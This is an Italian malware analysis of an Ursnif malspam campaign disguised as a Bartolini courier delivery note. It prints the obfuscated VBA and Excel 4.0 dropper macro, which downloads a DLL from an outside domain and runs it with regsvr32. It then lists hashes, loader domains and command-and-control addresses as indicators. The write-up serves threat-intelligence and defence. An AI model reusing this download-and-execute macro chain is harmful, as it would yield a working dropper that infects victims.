Nuova campagna di Malspam contenente malware Ursnif. Il malware in allegato, risulta essere una falsa bolla di consegna del corriere Bartolini.
L’allegato malevolo risulta appartenere alla botnet Cutwail v2, gestita dal Threat Actor NARWHAL SPIDER (info).
Cutwail v2 è conosciuta anche come 0bulk Psych Evolution R4.
Cutwail ha origine nel 2007 ed è cresciuta tramite Pushdo, un malware che ha infettato moltissimi sistemi Windows incorporandole all’interno della botnet.
Fino al 2020, Cutwail v2 ha distribuito principalmente malware, tra cui Dridex e Gozi, oltre a truffe di phishing nel tentativo di rubare le credenziali delgi utenti.
File xlsm
L’allegato della mail contiene un file xlsm (dropper).
Dettagli Macro
Macro contenute nell’allegato della mail:
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO Questa_cartella_di_lavoro.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/Questa_cartella_di_lavoro'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function testo_uno()
For Each di In Sheets(3).UsedRange.SpecialCells(xlCellTypeConstants): Pk = "-"
Hi = Split(di, Pk)
For Each X In Hi
nnv = nnv & Sheets(msoTabStopCenter).Range(X)
Next
Next
testo_uno = nnv
End Function
Function minusole(uu As String, ik As Integer)
Sheets(1).Cells(ik, 1).FormulaLocal = uu
End Function
Sub rempofo()
mII = 0: COsT = 0: Run ("casuale")
End Sub
Function revisio()
Sheets(1).Cells(6, 1).FormulaLocal = pago_i & nuove_d
End Function
Function nuove_d()
nuove_d = "T" & vnumeros & "O" & "()"
End Function
Function fare_E() As String
fare_E = "" & "Y"
End Function
Function pago_i()
pago_i = Guida_1 & "R" & "I"
End Function
Function v_promo() As Variant
v_promo = Split(testo_uno, "" & fare_E)
End Function
Function coSa() As String
coSa = "O"
End Function
Function pagina_P()
pagina_P = revisio
End Function
Sub Visualizzazioni()
Excel4MacroSheets.Add Before:=Worksheets(1): ActiveSheet.Visible = xlSheetHidden
riservata = pagina_P: Sheets(1).Cells(2, 1).Name = "casuale"
For Each xt In v_promo
dalla_legge = minusole(Guida_1 & xt, 2): rempofo
Next
End Sub
Function Guida_1()
Guida_1 = "="
End Function
Function bertranno()
bertranno = "" & "_i"
End Function
Function vnumeros() As String
vnumeros = coSa & "RN"
End Function
-------------------------------------------------------------------------------
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|Suspicious|Run |May run an executable file or a system |
| | |command |
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
| | |used to obfuscate strings |
|Hex String|'\x00\x02\x08\x19' |00020819 |
|Hex String|'\x00\x00\x00\x00\x0|000000000046 |
| |0F' | |
|Hex String|'\x00\x02\x08 ' |00020820 |
+----------+--------------------+---------------------------------------------+
NOME.RIF("KK";"er")
NOME.RIF("D";"\")
NOME.RIF("m";ARCCOS(-0,5)*135/PI.GRECO())
NOME.RIF("p";COS(RADIANTI(60))-COS(60*PI.GRECO()/180))
NOME.RIF("K";"w")
NOME.RIF("Z";"o")
SE(VAL.NUMERO(RICERCA(K;INFO.AREA.DI.LAVORO(1))); ;CHIUDE(VERO))
NOME.RIF("A";"C:"&D&CODICE.CARATT(CASUALE.TRA(65;m))&CODICE.CARATT(CASUALE.TRA(65;m))&CASUALE.TRA(100;999)&CODICE.CARATT(CASUALE.TRA(65;m)))
NOME.RIF("if";CODICE.CARATT(115))
NOME.RIF("B";A&D&CODICE.CARATT(CASUALE.TRA(65;m))&CODICE.CARATT(CASUALE.TRA(65;m))&CASUALE.TRA(100;999)&CODICE.CARATT(CASUALE.TRA(65;m)))
NOME.RIF("F";INFO.AREA.DI.LAVORO(13)&".")
NOME.RIF("U";"e")
RICHIAMA("K"&U&"rn"&U&"l32";"Cr"&U&"at"&U&"Direct"&Z&"ryA";"JCJ";A;p)
NOME.RIF("G";NOME.RIF("h";"i"))
RICHIAMA("K"&KK&"n"&U&"l32";"CreateDir"&U&"ct"&Z&"ryA";"JCJ";B;p)
NOME.RIF("S";"t")
RICHIAMA("URLMON";"URLD"&Z&"wnl"&Z&"adT"&Z&"FileA"; "JJCCJJ";p;RIMPIAZZA("hqps:"&INFO.AREA.DI.LAVORO(9)&INFO.AREA.DI.LAVORO(9)&"c"&Z&"nsul"&S&"a"&S&"y"&Z&"n"&DESTRA(F)&"c"&Z&"m";2;1;S&S);B&D&F;p;p
)
ATTESA(ADESSO()+"00:00:09")
RICHIAMA("Sh"&U&"ll32";"Sh"&U&"llEx"&U&"cut"&U&"A"; "JJCCCCJ";p;"Op"&U&"n";"r"&U&"gsvr32";" -"&if&" "&B&D&F;p;p)
FILE.CHIUDI(FALSO)
La macro, contenuta nel documento, avvia una connessione verso il dominio consultatyon[.]com per scaricare il file dll contenente lo stadio successivo di Ursnif.
DLL
- md5 3896AEE936D55D53EFA5E0D1C2AB817D
- sha1 589E3E955C870821277C7F2EA9F60BC37BBB7825
- sha256 E53CAA0529020312A9092B409C2A38D6DDF0C3D2786832A514657CA617DF770F
- first-bytes-hex 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00
- imphash 33440A0287E1F3D8BFD56DD3109F1807
- cpu 32-bit
Exports
- Gasalways text:01019E40
- Pitchnecessary text:0101A79B
Dall’analisi della dll è possibile identificare i domini utilizzati per il download del successivo stadio.
Nell’ultimo stadio è possibile identificare gli IP e i domini dei server di comando e controllo (C2)
IOC
DLL
- sha256 E53CAA0529020312A9092B409C2A38D6DDF0C3D2786832A514657CA617DF770F
Domini e IP
Dll:
- consultatyon[.]com
Loader:
- roudinoden[.]club
- cloudinoren[.]club
C2:
- 46.21.153[.]208
- 46.21.153[.]209
- 46.21.153[.]212
- goudinoden[.]club
- woudinoden[.]club
- poudinoden[.]club